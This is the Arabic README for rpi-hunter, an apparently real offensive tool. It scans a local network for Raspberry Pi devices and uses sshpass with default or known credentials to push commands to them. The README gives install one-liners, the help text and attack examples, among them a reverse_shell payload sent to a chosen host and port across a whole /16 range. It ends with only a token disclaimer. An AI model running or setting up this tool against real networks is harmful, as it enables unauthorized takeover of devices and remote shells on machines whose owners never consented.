rpi-hunter

• أتمتة اكتشاف وإسقاط الحمولات على أجهزة Raspberry Pi عبر الشبكة المحلية عبر SSH
• أو، العنوان الصادق: أتمتة sshpass لتوصيل الأوامر.

أداة rpi-hunter مفيدة عندما يكون هناك عدة أجهزة Raspberry Pi على شبكتك المحلية ببيانات اعتماد افتراضية أو معروفة، وذلك لأتمتة إرسال الأوامر/الحمولات إليها.

دليل الاستخدام:

التثبيت

1. تثبيت التبعيات: sudo pip install -U argparse termcolor و sudo apt -y install arp-scan tshark sshpass
2. تنزيل rpi-hunter: git clone https://github.com/BusesCanFly/rpi-hunter
3. الانتقال إلى مجلد rpi-hunter: cd ./rpi-hunter
4. جعل ملف rpi-hunter.py قابلًا للتنفيذ: chmod +x rpi-hunter.py

• طريقة السطر الواحد: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

الاستخدام

اطلع على هذا الفيديو الرائع و المقال المصاحب الذي أعده فريق NullByte!

• ملاحظة: بالنسبة للجدد، قمت ببعض التحديثات على rpi-hunter لإصلاح بعض الأخطاء وإضافة بعض الميزات :) تشغيل الأمر ./rpi-hunter.py سيقوم تلقائيًا بمسح شبكتك المحلية بالكامل وتشغيل الأمر whoami على أي أجهزة Raspberry Pi يجدها.

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• قم بتشغيل ./rpi-hunter.py --list لرؤية الحمولات المتاحة.

• يمكن تحديد الحمولات إما باسم الحمولة من --list أو كمدخل خام

  • مثال: --payload reverse_shell أو --payload [أمر سطر الأوامر الخاص بك هنا]

• مثال على الاستخدام:

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
    • ملاحظة: فقط حمولة "reverse_shell" تتطلب العلمين -H و -P
  • ./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
    • ملاحظة: تأكد من إفلات الأحرف الخاصة باستخدام \

إخلاء مسؤولية:

ينطبق إخلاء المسؤولية القياسي للمرح على الإنترنت. لا ترتكب جرائم، كن مسؤولاً.

لست مسؤولاً بأي شكل من الأشكال عن أي شيء تفعله باستخدام rpi-hunter.